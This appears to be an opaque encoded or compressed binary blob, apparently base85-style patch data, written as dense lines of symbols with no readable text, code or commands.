zn+__7FqzHPghZjIAu+&&-lFI?2;|L4Oi;*9D}mrWS|V>5#NpS2#e)_FD|m?D6{C-c zO#rXMY;{SXWqNa*Q4ov{lh#VbI+a&%jn~(hfDvK=h(rjyzyOt3V1SRGuUDudT_Q~& zWX?TwiQp$Xm923V$OceevR|X_c)RH8h zV5tk=kWk+M%+Vq7AfaggV(`_VOI<`FP60_OojKY{M_mBP^QUK!uPOqv6(=a!kQk$a zOb1692@rCHW*ABQ76P3beONgl%+K#*^&ks^q9f2CQXi!QJ63^9Ss|E-QE)ao*vT@K zcAM6bFSrhs{W0U7dSASKjPvr@kyKaetK`mw-nuxDBqj+VW&p|14~aN0d?H?T_@EIu zk~k~`T1-)i+8DhqL55>==E$P(w8FAK0=xDayyu%qp`(kNJu~@eAyr*6plfh5E_>$f%vSJ zBd{J27f@BO;Fd&?2WP$09|OX7gVR_?(6W2*!#wlI9#i%!}BC%#JL= zhYZRh=u>b?EyPwWIESVf!!T%w{7Z_c9enTp!;~yVccWEnE=i%Q;|q-{eUct*SyCr( zXceX*H*vC{x>2u>4fyPViO{vD@9_KaUfpo zi^0PG6Y#{0>8Q}+D;fgn#43v-W>l`KkiLFJCQ0OlErLZ-*aWOx4@v)j*@{><6jdA; zqlMN2GWGvtuzsFiVPXFNb5)SKk>(d=jpI+OGk=mcg<=ay1RbooqUQ)J76JK&s#=-4 zEdr@#z5(8v0UB>&Pco;J8NPDfFz>J+Z!!xYG`%%`8oU*5Di=q@xTF&!^%)Qt>gf0X zlTL?QA?>0JI5QG?l4qO{m_#vgkcE6(#UwAb+Jl@0;wPt=z&H(h#9M>G?qvJe48wMr$|X_k*pR#N-eW45{5eo zlsHvCProotND*D@BQvDM0H=;mNE`v%oo1^gg^RY%BKVnfk)E=GB1FYSw`}=P*~vf|YzVkRYTpksSvnjbHAiA%UA{z>Y|}-@mse7^*RM)PSGF zz6jMo(zhqsK)5!q2Q&>mR$rL6X0qG4p zPhl!#sum|1DE+EnO=wtf0C|)Yj+KND<(BAw>&t8NEo=)IsWi6qJ)|tSD(|Fbkg$Lf zO>$ru3`dzn1<$b1Kh z$oe7)p2A{snnhz(P{U#!M!qe2Ez-k>Jb-5C;OX3TMh%qX0&ysHKxP({6mmz<*on}Y z6(~{Q&{hOFOsZ}I>Y9VLkVk91O&vTj#Oqf#=@BdnVg`HAPS^UAJMHiPCD`uuar^LpOZy! zfzOkkAzq#V*h~H{o7J#4VCm|HX&vZDG802WJ+Xt>Dik~Q#gD3=Z*XXsr=RThlBX8g zjqnzX27fC3f1v;+lZI><66r+E5;`9G2GJE!d*X-$uKvm>c^A2>6-Bb0h5aKMkxVVA z58}(k@icI#W}z+{YYj0nqXhA534#pLQuSG(sD{8%OB{#kq=KIVFmLa zom3?;6a^0#7goxxeHRPnP8(9(jp)>uT#Q<{8e2J8S_7*J3!y{n8xX4L1sPUU1x5{l zXwN%1FbLbC=}$aL(lxo#j|CIJ9XXBSvx_$6YM{Iwf&rFtG-xTxV1{|ED6^d5fgu|# zGzMwR@Tge8M?W}PG>YStN~=U3s*e`)#TT$=#r1mh@SzzXuNoa&VE-$DS~*h=&Wke45$23ciVka7CE0o0YAsq@t_LMS2lq)) zj84@DoKR6cz_j^yJoD5;&X+{7?W{bk~$agVmLYk|wVZfaHcQqyR?^ zNg=^Ng{C!^nKX1EP7-1gqNgUbzeWQNLH;Yx0B`BVVVFBwLovV?;G-0SQ1Pv+NbW)6 zf-<;-aSGw;2TqiHfD7^e=|cWAM-7LbsL~CCWW`|c97lFjad!(w@CxjQbIgwjbn{{# zg`F+b3}uQTRuDq9!b0G>*Z2pidb)-NYcwjKz+ftNbybB1`}U%<1_*DxLtXh60_wq} z)c|>nr1M;a$rX|as8I*EJQqsDnW6V69E7Z1D+P`~Slm11kVtV-O@-xfy@Iz@N~A-_ zixhGJv6~I#W#mz#k5nMrjg0?d9XX7-Vx>^cIP6f*95VyK%HDOU1_s6a`H{oO^nbje z6wHv2TpuCkE`=`?S_N18SQjc?6eJJ&;{7ORQBnWQ#im)jR2mJs7?&haMG!fHT_XEJ zndN-=|TWAO5!m95N9x2o9S5i;@Z1A!WJsh_mQeA6T-n4nv{XS17iBvBE<6 zQjBV0P$8gWjOKOy`^fB_Ly6$j@RCa`sU7FeaIHxyi4Kl19p5G%x{`EL-b$*@4=A=4 zdQTD#D#>LyauHpF7{Ec{H9yc%6|Tl{3RxB_{0KXcf(a7+^Dz)EfB+#)F^2R|unFE@ zq!ocP9tkbNAULLQjwEV7#1^(At+EK~_()r67LFm6PmqEUyuNa>q=Qq$=;BzV0q=*G z6ge%*86l}zcyVre8KrPHlS{dv)J{s{b2~;LQWs=iU@d8O- zU@%8mYcI*CMxkF@7VJ*X36!~)-7yp9ja8NI~kiPI3L=jGtdV5d$aVT0f)%P#%}E-HT9 zII%;8a_U!2bub4o^d3;Gl_OEwD#kR+PPaG;0PYJfWoFSHq2U4lW2pe1)gYL##< znfGV}*^D_W`VqJA(T2j@w5bYj7aSbG!L5p+6(NrGcJM0tO6sauMKZgaxiwQkFW~+u znqWurN}0@v{$h`tIfWu*2aj%|E=A%y4poNF0rW(!2N^{MRGcXq-U|r{CwHvMw_TtN zA|#D|;k-l+10PB2n7*Ue!V(0v^=5%w%xEKp@X0#W#v_teSR_N-%WW2dDH0&X&jg=X z9??QoCHx|B1t<7MeS|EFuGn6oW;Y;a>`gCs}M(v@lW=3QasN%w@w`poD=?$#aK=!t@G>fsVZ~ zF-9w?Z%Q0NhlyKY`M|MD+!a1@L7^T}sEvu_VgDa0N0BHa_aVFuI8Tx{w@3q0i;a{F zQgj5Vk>1FU;Qv_@gs1rAg2|O4DSL8Yp36n-Ts&fja2z94`F}AZ$%8Jp`9GSF+ydDN zW=BX9*)GJ<1ll=a1n6Gyf`i#i!PGz^*x`th#Kj@}D`?^@dd+YF4L}$?Da6~FfZ&ZO zLFi+RPY{Sg1+W|BwZN>$I}Q_t8hKb8tBexQ=;)9{eS%|fvMAzo30#Hi=9IwMozTma zXaYNcnnM9Z^p&KGuv+6)$YFucLh&a;7N>x{ni9FE6x%&gZ#GG>-$C@|t&cF%v^d}s z>l?*i@I6M<;*MD|`T~h}x#36hb2V!vu{#Pc8%?bxS6wUC-i38&T_mn6)oSe>s5qlT zG~|Y%Hr@3p5pmW?eWaTN7dJmYI@-sKPZzm0*HpDBq$5eXzWnacoUl-oB2c6Pe+`6; z4YKI1ktV^fjVhpx%F875)JGePh?0)9nm@<1Nvgou^XAw_FN`INN`o)|@(8Fm_6h?Kvvx6+1N#MUY8R(G>5q4i?RaHnrePNk*g~5eIi@k%Et$ zETS+g&KgjmXxM}#yUey6u@p}Fl6#TdDwJ3wDItzlR%HvLsM6 zJR%ur&{_(v(ZI4KRKTEM&tCqXD(E9bmW8#rqT>Lyu#({aas;|bKLoeMDoOeVW$#57 zc1}4vvM*T~4?GN9St*pvsUoR8bZ&T>m_*ia!7E7=u%szg2O9!QK*B`vhbn;qh0aJQ zdTV?rPx+^U}!cl`-* zMx-)93osZ39Yno=Z-_VH6P)B|7x&HRROGsb-=~m+NQ5omSc1t2{Wz}?NURB(l!Q2X zQkX#E&%~VMR3QG^kN?IPBEdj0pw7rW`W74ufl?!pD6#0y2XlAlpQ4$;v$6mWPV@$ig{^o<7u0*x2q z_;0YMZ-_?bH~$HD71e88c?4G%kK{f?a`7Z8r)Ln^%Z_Qn*rCsc(iag++6Y=Dny@(n zEL8lM5-H##h2$f3g|fw zM1cdNwIGEfjuO7SkYt5PQAFJpnwt=zHxP_76Gs^qO0*2e7oxf77I2L~lK?9N`g9!j z5l0qJhcr$ zqeMxHhPw-MiR-dt3Z;MSNaG&l`F}2mZWGw zhkptjsUK#I7K~8&gT*brE{BvM|Qdx-fkOwhyMT*MF!zLO34p}41QP|$#*;I!P6Fn8T6HXvP_R-j4 zB%5-4C{ZknQS{z&G@!hvKn&P$X)yvKl7{Db5NGZ&oP zJG*tnL;7hGMJ$CP29Qu@W7p%6DdXNh+p@k%u8vZ`Hcb2+56*g z=mjMBNwR?~bSvG};F3aykj6oBgYtR3r8iJj5)Kdkr+MUS6+%BR9!{s8tO;N%dZAyK z^i<46UWo6b+&n!PCH)SgWOv2COu0Xj=aak}QuGP(NRDLFiRD^~lcg|^=p$%HyhZZf z7EaM&4`83*IO8@#VY(l=jd}$Kh9R(_Bq<3&p24BMp}vm%PC=&%@I*cU!ni!fuh=9! zAq5^IRKzEQ@yMe*xI2cD-u;xqUX7dGRrE*_r-Q&nPna*jU^6+S=? zY4Ctr3%ONQW(B<_YKGQ$eyubi3iHykCxK`}D*hG-~mwx_g` ztO$n%J4B@iPe(NzA~b?(>Se-}9Y_zopfN@k0#HSuZXu7ISa=kF!Po2gi$d=lkUmLb zyVR>IUs_rqV#GqfVCkughd8i8H&Bi;$I^mH<|pI?&lN33afJzMytak>uEaMvm*R4e z#=*z&U?Rwbmnpl%6J>DqhAc+tQGzFh3Hcj^wIfDod1`}JDso6g8c8m5`0J4q#_f9$ z6*xRa8z5fk4hZkfA3+t!MpY{w7Ip2x9c8fR%&7`Xv6=in9ZJD19hLjZnN5;2nRjbVjB4K*bQ>1xqdZ;tOL4^k zdHb>87<3oJ6l>6v@qu&9U%7=OAh`(2H;kKT92K}Fq&I#Wj+e=@mHXq0UAzL}B|5w( zxTI*Yz(FJ=>&&DQI$$OKp|~``&~P{+N%x8Zi{%$!NJA1rz?I`^`6Y&p73Azwrd&yE zlR7L&g0?4r=TuETMQ~JHpTkqRvp|tB#pu*>z?1-f&b12u>?2)n@TW3wSTcA-m~`0o z2rxA%Hlf7GuzXNNa7zfs z!0;#+jzqVUlfuuS`9Y0GGzP4ZS|L|Bg6E|2E;vKvZwd>8=s=hXK|2~jDdetexlBI1 z!a#!_HRwJTT*M&SM9I&M9ptQ6hMbhA#f^6&NU^^*6z}6MYs}N3E`73wl;ZN=s?Y|5 zDe{4>O_pA0v7|SO4uV*?D^4O1=`|`AUa*;r=JF zU^&!JW*6~er8cF6kRl{y3IJ7zC=&AiXbsMJRan7~v?i4e7Yrn$0(2q-1%~(zD2&6A zo@5~{jlR&~z=a`4v_b(ahYGHwXMRvqw$@3yqj&5w(I}A&Aaa&)c7u1YANhhD04d3z zmIh&CXmW*#XGKu7B8aBq8gvmfA3%~>kud4yylQD&$uQu%0Zz*&Bj*uH%D!WpNzsGq zB4vqadEFoo2QrCq*OD$}koFu&5iBxF!|1)3PEc&6xgNu7V7kROK|y_NgA^S6%elOhjX(eW|pheguo6(W?N4)+^EPc-6!g+fE%&s+_JekUX3#gX#foFXw#zQg=B zFhFhvTT}?2!%)FJFx(o)f);AY{5+G2>WKDQjSemOqbm=&!tZ<#=j2z_NOl(q2`c&N zQsyw-4k5nGr)eot=GYN@xMJfemR8|*Nx2$4r%#UU2)H^WS^x0#@Vl*?#^u00b~K@g zMhJ6J3c|wCFW=#X0~~g=^CA*<01#W zsKNv>9?%LGU0SQ)bfTOA;b+Y*3dXp+7tS4?<Q#yrXoB!DZ0SQ{Zp&G5AN~p3zrS{1y&aF;N04~TZSS|L)I3B zVd;-Lkdv64Nk#6oOUcoKLyW5YJwve?I5xc5+Ll8vV6Da2-@(-u0i~qR~A?e#6#T3yP zK9TpWSPz2YI;ESj0|Z#q1NeNfg19Tf{itx77SA~^QsD!HYy7teKn&;#i8VmFbW`+7 z4PwTc{*qB4sp?=+xRIrgg9bz~dgxkonFZGugF`|EKTrH<26$#>l-5NG2yBx%58ik?JCo?bu@41< z;Qs_yry_kQxpG_rD9JUb?dZdyte~u@pNb0%g>^d|Q4$$Zs)Ota!I6^HG{+hizubgw z@#lqb1o1WG`H_NMn6L$@JfuGHvAsw|KPu#cbtqJiB!5)6C z(Rv4JLIOgy{P=6>l4A&Q6{ir#+_@5jNrfohR-U^Lh66ulq0f@Ed0t8RWEuC7hL}>Q z#?xCB=u@-c`50wrA1?*1Jp+0ON3l7EEB)68^K^sj$UNToo@sLTN zjr6Cbc*?S(Be@qF-l8FXZb|I3x0Ea7o)urJQ)_ ztjR~7RvTMG`U2?)V? z5MaaNSHvKN$IMJw3g? zmg)xu2lfIN579!6l!`g4z`W>eNykm9>8-(^3Xsk%t|an52Ba{ho}^r8aX$Thy|n$I zDrgi;u`(%ZNhVe7xSz%|M1wW)qDM~+iD;5!%5YwOp#y^mAD|%_l|G$o>To{zTnmImJnhkxe z3tW@MromCX)P6}yl~GP6X!+67wvzW8_uVrd3$NW z2ZEdVL;6CQ_7ad;{}H7XTR)Qj`GHU3r2|jGTj<%dC#kPm-l3<$^&#|pJbnGZ#`)D@ z=?aIlikJ*vmF}+X>CX;fev;Ub3Z<>$3}wki0M-;AsU%N$fS)GTOPpN*)MSOqMEtX%X)66r}@v7V$u3FiOKIHkh2lqg3apd3Z78mdeba`uatOd- z@2f)LR)_dO;yK*w+H-Y##%;^w#K@&pOai#E_<_TU7owI)xU_LHQ*d@ntUcAMFb90H z5=ZcOAgBb6zi48uLaBJP;eN9s7+pL2cz&8a7`#Ww$J=8G_kOXJja*i5SrIUQbSX_3 zV|6F~Oz~J0Fb6ko8{dTT)1N@#(rJP}sO$k4`;(7Hi#J;9y~mD-q=4tEUxIUQZljfgL<5u&L0vag5KFP>dNIS69ihInf zhVfVLs|J$ebsKbhS4+)5184(2CtnO^GZ3sg@Avfiz)Z>NflDHK@zu|PX+xRp2F7FV zI?A9Q@R7Y~#a>pY1OirohBfghhl7>73WNK}Tt0^1y~0FT%B*ZI;Zk8p|L|X)Dz^vh z(58YCwM)BPaC_{kD1udU%EOng4cbt;bwgP?4zx|3kWNk0nk7z1OG~5Sa}yI2(`+e# zR6fU)%16uOU(;0Tku^BLK^&FUHzy-0xi!coWxGZ(54Ts}QT@Q3%V?RH)+*r9J1ZwU z$eDo*%mP1vS^Z#;bja?T(IUBZt5yuq-oL z1fkHPln5QMInp1%TeoQ4GAT8=1hYRIh@rz$}TPgz{{f)=%gz`if6S+C=Ypur(Ep)PlH<>MR0~K z*!I#dILm<~uFUjR@Tn~Dl@*LLWVLnh3P%N3G8CZ2!b6?MeMu9Eq|Fg{GyDyY<2)g^U<_AiHV8*QOI! zWvgNYsB}g3wU&Wg_puT#t;y`*V?Go%(XqGX3&4~s-2`xMAxXt+D{REzj_)$nuXO11 z?+sdf6`%hL9eHzj{au=vJ>PBI*vH)p!vy;)xsv2r(k)i5E6Qc9!b%gsJJzNNuhv0? zvW?o0u~p+_7P<1o`I;c(%$ZO3B_}4gXquRU9@&?aoZg~UdQyrnwMEkS#ED~*Q(Lqe z+d64n+SqX^Nr|mmk87DWal(X_V^b$4r6#s)oto5gV)Dd^$;snWlUk2YPDx5j88@*- zO5)f=yPRTzmq&rU_hvCS-6Vx|VtM`=chgPGq2e9E(nFkOL&z3a8r|R3Sci+PoCQy9 zd9Ld}_KWKetZNq%lH%I=(c(=Ti^Q_8_&4wv)3)vWlXU;S4!-_Td0JPtxWquS>5<(7 z*D3Z#hYq(s{LkI`pk95i%kDd>e;2UqJ4r8p11;~tp|c0~?u(J2cmFPS^d3F3&_H>> z4oWD<&4!!RnFFLHC%0(PIytdLtJIX1ty`z0md5EV8R(;UN4Ve6jO0Wfp^_{Nt-}=A zoiLC|jQzX*m@aSuW~3zg-MbIy(GziD_jeT*REb~HG9KLh@HUIQ_)iYB0B-}bw>|BA zN@qE%v67KHo4tWlcHf?(x@Y&y0WE-n9d}@-4%wr6_0C9^PJUNA7=yANnGu}0@B;|) zso-iC`{o9FQ(lS|V9Y~5;Xf3V*ep?=3`@cnhL}8=D) z5@gkz!_u6vMy8(4s8KUqIahiJBLQ2pv#*~#gC#QK(X+}6SSE~*r`ZcLh9x#l8xc>j z*r}6eVVgFd8%MFckuFUgtnaO0!ZZUM^*Pq3d+^znz{%~5*v4}c5QmRP`OVm23%aEQ z0peI*dyKs5)DpwPX9aNc3#49eLDF70Q^K41kQBy!$2g*A zUF%zE2tHdTzwIH12|kL0C_&LIksK@>%N|9=hWG4dxTLdf2CkkeOFI-kjx)hJ@hrMX^ENarSTsh5a_o&lLPmhC_j;8Vt+yI-)QY#@0kHZY>%$ZG;l z$;J^^PQ3c^sso3e`TlqNt|*A8;P|%m4IJXM1emR=4cf+XZ^O~C>s$?a>ad_hLUq@n=>R6N+_+~*Hzw)FAa^k;7{=X_zO9s+ktg=XXB4V)* zQM_OzN{#XkyaPopJ4$A>mgOCmXBh@KcfR^KVPUfjnOSF_>&0{q?Bue2%KTVdP?TV` z6NwO*>C>=gORyF<30!+Q1TIXNl)$o1_9=)2$wjpeNT7Tn$^uTJWrcCJZM-5etHbv9 z#_|I^I8`!zoFz4iPb*j=F_tV$Wk3KvC^2-|;57%5_G5uTj!#Pfw{h*`{ELB7X0?AR zY{d@Vl?!x#K}*N_8GunyU+JGT`|s3BXzy2X6x;=uS$o)hiKGR0G;#Lr`LQx`xr72S zB|i+)_5_Qk9~`M%6uW=s1$Imj=!!!jyUZiIW;hUvw@=Fk#7)$(l~bnd{=}7dV{w6V ztP}VGR_o|cxlV!GJ(yDgN}?*4DT4rM{0nh^DI{TADf!ybti{rQ8OdHXmy1>5fEjzeYm_y#tKr@bl*besOViTwLFcdl5fS+tdlvjksKAg^*9uWbDjv~+^t z5^jj|5547=N0<)8#>~U{y_kfU0FNI_)iT=x+}rqPY8i=TF$geLn8XciS|ug;4`g$9 zABPjsWxtD4dU6xzAN}VeF;v@Mjf(xZG3+loA-pA5#Z#|5s5{xu{yMFVlhU5_ZZ zi=fO^o|uSOV%2i6DU%vHr~v+Q74R?fYK6u9)3_2%o&e=ZBj5k#{}@S-1RaZjm0o!f z$e$hFe|*l52C^;TR7?@+RVsuZV5o8ykrxd7@)Q*Cu=mCIn7hCBR5p$IAB=clGnTH= zQ3-vqf$E2&hq6KjP_XN6(1Clf2C(su5yl>C;lZrVpkXp- zGp|%8rlO59U-_gUk|0x((1VjhTaO984goSTiE-A39tJbHM;AaKXrGRcOG-jm%@GGD ztrNB}ar_y8*!j(3#x)*~i~q~EKa2o23Cis+`(xWX%!vsx{^_{?`f>(kcSy;;c+>z~ zh!vXzCeRf-tdMiziM4eID-K&4auoGbM?Fy}b}h0B zxw$Wv`I@Lv;3x(q>8~07$UNrRoKl+=>Z>?>Il`2!?v>HoU;WEdsG`{Z*2pCWIeOW5 z)W@>RZhsW;FH>;AA$V47H&3z()gM`wbD-4aDQ|{C)@oiF<>!WY)@=)($;+Fik4@L> z@e$oJl(c7ZeD4*mzpAjL{F68&WDRC=dBl5xd}Rk3fiHHVl)K<{XJCm3z6E$07_%XB z1`#e_;1Uggp_Ogx)(pw-$FtA?nl_!;Ey>^2kL3;<8MCDI1GQ)lA9?jx6d1u{pW~0h zUh>SbFD8ES_!w}!%e89>s$4rW`Pk)pN%b3_F z&npPd7)!F-5@tbI@W6%zq)mt*k8hdVk zRaeMd9Nev!mW3_3VvEmXLG7?Z3&u}VnOT+^lvnrJ zLQd&c5Nnet_-c7vS0JyPZ0R{RKzIOrFnkPt!+XgIo*1+bdRT!7O%XnDRD4V4v zc_TKEGNPi^^$CocOrY^NJ{dr<^4}IGWJbbl1b}l*Ow zcUwYDhPOY<&df=9Ll!R_G0|b}beT&dtc;djdsGm>&Vk)-##sC@YuEy@_=+#dF_T@Y z1rpn@QsPYp;^F|c{mT>PY4FG>(UIThvIE%3$Xjed5UWgVKR>`Sjt~~)`;>7`v2TCo z3o-{!u3Q>mWRa^-?2%ZAl*a4Nm;~MPFImf+3OpdXfBkrn7t!*XT6YoJ8zd-QE5r7x zt|2cldGEx&0LS+9U)NxL=+e3e)9)qkeL%~S*MIpP0mU}T5mfS%F?QkrW7Fvqn=+cS zta5|5j|I?4&c8Wz!Vn$!`M>^ER;<+L@7etA-x_Zl@S@4zgV-WPGK4);+e7F7axW|A zKXwZCI*~uk?(fvgF4TA~V(~=dGUT{b4&4g6>i?JMVxds#Eo zU8AMjc+|+ieGA-I!pTK=#=C@+#F`K76@&3l+C&n9XaWhPE@k6ClyU$q zlqO5~c?dz&n8+lW;iV7~{fXQ}{fIn7vs@yKap5O1DY-?Q-@d^V+B`l`fl?_7}5ZrzdSAKcAEI}B>PIB1dF zlt1$6yB>K^HQg{BPM6yg5*p^M5?-}h^@zwCHKS_Pu2Z+3uYQAujT%SC#Ky%pNod-v zc`2glZQ5qEYoBT1n>%Upl8qQy&= zE?d6h*8G*X-G0Za)py>t=I(p$UAykS`yW`p;lYg$ZF+d~Bac3|~qh*@Zw7^zw)0~Uwi$HH+SsZ^;SXQ+wbgtchBB^``>&2zy}|GbnxR(K0S2!$Y)1C zKla6!UmgGY#5do5ck=sFr+@hIr=QRK^6PJBfB)mpbLap1`@%m(7mF`lEi3(Qy zhhNsg+e~*CO;>dRr9kn!yq(>H75fL<VU-<8hlfWzs0>Vl76cIMRsnn-rvzHG(e@WCCs53rWgxR{}D zR^K5IZpCapaG22&)9(tY@Lv7d1482RMge>>p`RsLYh4SAvlV=OJcDCFbSV@duP%Ty z_Ln<%##m#qnfO}^Jy|?EyHhsbxsf#xC&O?epG9xs9=O`qk{Rtg#Qyp#e53%Vb+*J7 zMe5bR3nKH~wGhjcl9}?T8n2`5lkFCZ3&O%I=st?Sv)#2v4}94H2A25c&sodWBxq*M zk*(XCksV8R)gl%m^n=KGM+hJ@2#cw0i~bMF8qyDAPER@R*iy-IWhSM^<%w{tJ#dsc z%f3?Ax<>(s@waY)YJZ@LV=&fL3ZPl%?zkeMW8Yr=`uWlB-?ayBPRQyJ_$md9?;)ba z1hcmB<(&_Kk5%yezcUvX&aQREnbuAqpLO>FNQN@yPayig?<=ou@E=!&sC>TxJv;Cn z9od~EF9+q>Gslu`=IbX=0ecPVFoci&fI{7e*m4wy+u(-L7(rWQ1tfID3WSI z)uH-Wxx`U3N~9EOMQx}ZWl=|T`ViWtfix6qBnAsyvPjc0blfP_EwqG|(`|Go-9z`% z1GJGg(>8jRUZK~Z-lU!M4(*{2=~FsNU(j*-md?;`bPnnQ6_YBQB1}|=swHX*pNJ7n zM6yT~okS1OOAHW0#c(lBgfXdkq;$TIJTxzRGq{2t8DPqNJK!wk@L1o|`RqtKs2 zAA|mavX0(ox*eY%*8lN6GVU|VT64eY9*84Yyxy@{RxJ?!>Vs~1f4`mIoOXw#05(KxnN(9IhKbzUuKE%bGr1f_QthM$IaMy8+{w+c!F>~YYqz`Q9}P&@d)lq1MFUyuiS z3*emTBIwSJ&`9ecydQ(E4Zi^$1nmTzF?hECjOPGj3iNeIb1D2sz^xGo-yPvM0N3hc z1%;u2F2h^^oJJyCE5LpS<`#JG!Fwp&n)N^!yd4OC890pw{0yZ1{!-+3yrAfDf|dZ! z`hXSPSQy7I~D2Qg78lv%n9I^0@`(%2RcFD-(Junp?%2j zkD%W~q%#8HUjl9k$Xj!`_eVKhL^_iYz8~V|qI?%3ooz^C5ZsM%f=Xrxs&*4#!R=na zyBRPZL>cUce+I(l14bfn@Bq*ImZ40bx52+X@^b@lc^Tn$K`%$RZxH?-_#MG}B=G5g zbpIJC$OV`uK+Cg;`)yA_Ch~F{@OdBM-WVllCGzV9zE6QRI_yuvFCVy^18xri#^;+* z2LXQ#!e5w)azgm?FjvKU1@PVszY$39C73^hZVi0|_&R|1Yp9bAV2%R(wZLN^=LO|6 z190y~xG}T284?xUfqJnD^%i>03d>EPPgl@fFzHf+;>AmvgxBk3kE|CqneJuqQ#HfE zQ++(JDXNN2M(2*r;cz-#F1Op`2?+@e4GZ&nt5gXOuUfTQwd&O)A|fMe)TmiADymkk z+O_M{sav;RJ)f_B{RRyhHf+?WapUOdn3&kuxVZTECQT9&nl^3Lta0_kb>x(r{oH#gAzJ z>KqxRx4koOA$1*=b9cu4Zj?msIIJLvrn#oixj8iXCK^xS3)ZAAy<>2{#&vHYn%ZL7 zVroE`5{!+Gp=wR%jv!pu_ee~7+)W+pFK^erxsvr*bdB4+^B#6D+dOP>_3BNM`-a>$ zvPIPn3!1MqYR{hcXpXbm4fkhvTH0gCsMvd(>+^2DQH|;|FVvU#!0>w-)|>y(%qrs@ zcP(nB)$KgST-9{R9lb|yTGypkopA{(2Hg^t)Tphi@x1Zl2Mmty|3ue*1Mi%-HvH~x zBObqRo~QeDLvLNvv)7i42ATN_DeL?e)7?^|CPY(aAwL)j@4_ntnpR_B+>+=vEMVKw z?X&`eB2n!g?A3;vQ`Sq5o9^grw$eQ+rIWZ0rh3x8h$c~HhxXFkjJ&9e-yv}QKKLd= zb+aS&8a_)S9}}C|~`wnlzDU5M`}>!gN1`6?+ycGODsFb-3t?NB(u~ng#bP zk;PARbXG&ua8-572L=^h$c5q{ZtqaMg6H)+7F0yxb$yvI!yz*|@MKbWW~P_jGYJL` z%ujF1)HKTMoyicS3;qo+X=r>qx0-GfUVwxiHV{-x#(=q7Y;Du`n}kE6>l5V!z= zjU*ssu0>AR5|57Ffoz?CrPV<6))EYQ9)6z3h`@F~l}-Vy(;E%iT2IR!7&(C8=BF_E z+1SS)*_t<*~g2b~5IP#ypEXe-YZ`#@N$36;RRlK#pCbFLK zpnEv7wRk(|{+A!Jo$H@L_o^!L49`|)$6{z6Q$3KU4*;q9m}uP(=|juk@E1fZvJo*8 z)J9|@78NM+ZWJ$D<{-@)YmnwMNb`D(cou1x&qS1hkWuj53{RszvQ`Vxo`*$$5CvNs z+2mL%#`rp3r#~(F7=Cr@BQcKE*p79UEpNc59%{hiXHj>e5X~19?FI}hR^nE%ce8PR z9)UX_Ma8x;lc+s$oo)A7S)S9)w%b)kOtfmPAE`+^ZZT<}1Hvcla>=yf(y0tg1W*?@ z!_(*wf;2?P=h<=#3ZW6#UszgQ1W_B0aRiDh3>k>79~Q75v;0ken(tsf62legc|dv% zX~b%1Hf;F`RW=T3Y=-52bUx$?47(rj+qOU8%9_KCyeB$>g_uuvorL)q z%-fK^k*1QB_%``5gm{&)5W3-MMVgPG%q5+rQ*xQh==50W55y!At?lcwfOIg|6IEG z&jq@C?(d5ikR)9~OvDAgC6~atEV@{75y;2~=mRl0aZXAuU&Qay#f!!G0W4?h(m9}l zlmMSGM{X|`UA}zrJaP(X$S9&;{`*1^U;un^5$6Yq75!6Ga-pR70&$l3S0qumScJR* z3c`X`Kph%yrU2ZTI3Nu21Uq932Tm6NnAjXZzS#^TyAopoqF+Xr^qT4ZBw>c}u6{x5 zAUX&%P<@a7sovCN^_gtBM<`pf>=pfofrIjn_KtRx1`|d}Tg8G$qln4kFj{VolBc|) ze5o{4yQz1pNm};5P(u)=K-;PARL2>&7{418rTo9^b{lv`!D=KuD>_gX&7eF{U8$~| zRDRL;-HUorb!8)XKpRC5+9+UxnUCTow%*bL!X zYQH*7nTAkHm1=4=^?-IjYo)eQJ5rIxDU_;O`WxySYFFi`Sgb4)uPRYW9c4#_(2oP- ziq(S}E6Xp%4zpIBFI^mZ`8bP|Wc_1msadL%@-cl(^>xgC)Z3JYv_|?m(MUg{{X-9F z56S;^;)pgxKPZ0I&Z(>h>y~2PTr+(oxK#V}=Z)u$F;HJYjWMPhvyH!vlSYZH#u%aI zYPiidR!jHQ@LP>=q2}$zpYmPLWE<;x=5B+PVkSbd?LBE@x5tf^=5gb=!J#ifg_&XI zhsIH30PG(b9~xg9-vjO-b28LIsY>Zwk?AAK(XJCym3%c?P1fGmAJF&f@%m7Gmj1Ku z2G`APR5#if?Tq%u2K^bmukjzfp7F6h)tG1WHf}OJMu>5bvChaaPATim^=7_#(YV`O zYu;(DG3%J&W~_M+)O}`M^Fh;RK4d;`HZqgol5Ea5@5Q@;xx`#*t}t&k)6K5tMze*v z%iLjZH+!26&6Vbh=56LO^9eK69AUn0zGW7gz0AR8fqB3Aw)u{^+uUPrFdsAbnm3s5 zn(vtpoBPZIW*_rI^Pu^$`HA_ddC2_8Ty2guKR1t=^UTBMm*#l$3-gHinR(Rw%G_i= zWj<~mH(xL}n_ru!&7aJl%^%G(=C|eo^G5SGg#6t+XP!6zGXFL&m>0pYEH*Ehm(3Cr z>`(_e9x(4RA2A;_HHYcY9W@lQ7gCJicRiRa`$;-Xrzi$-*xrN^s44i#&9R_NqGW18EhT5UHKkITg!ekV0Uq%V zaEW(eOtI2^2R`pY>%y{Mq673Rbf0U$vqBqUBDOmxfk!=suBWLqjq=bF&Oi_G8=aNf z%1ydxBcQ3R7zjS}VCbsEZoK@O32t~7iWRrh9ptJM-qmy0hZ+HTBM~oxamc1QG?(T9 zI%8L8W7Z0*L8b`q{HO%?`M`)NdUvHEPGhBdhYfuTtw(Mi1P|YWTN%{Fv?NeESI^B+ z;93(C8?FP7(-U}iq#Bjt(pBQx=3mr-$}n4ioN{UwwQis);sCa)8 zIaCFkVG$;&OMpuRb}_8bjS#OgxLgNXV}Ic@N&nvg!NT%ul>cly{{1u`jHVnwX(>|B z8rC6&G}QADajhD7N#+>e4+8z$fd0DRQmzR|6QB#}G|hs|!g3}hiUn{xfRHyJ#RYc$ zZk8~t_Owiv>8VO{vz|5}m5ua}tk)LY?tmGIeANU+F2Pic|EXXw9H1ezZJ5O zl0^&Ie($?R%i@yY+E-PkQ%gi%(YCtEbncWC<9gT!6ubKxP+L^mvTE8G)A7b~UK)oXZFS%caDTFoG87UC>}MJ?;U7`1>? z3%f?%s))M~Y94q>mDR-V@NGlC+t3qbIW$77wkRjAm%|aCOEN;%*VCv$5m$kBt-LWT z&YP8sHng9rBb7wtGj`_^#nqv4{;l4=vb>#^xcgf#hqcoE7R)8?L9A3F z<*0HRWyT>ssFYGy$EGSE-UwbAx9mdHb$>5kX!o!~P%{fb%{F+ihQ2zq+TxLakvDH( z%rfOJYKnLVwdP&a`KmTG4fIzL=;>=nXlA7~{p#2h+PP{2n(aW|c2N&-$9f?@?;s~U 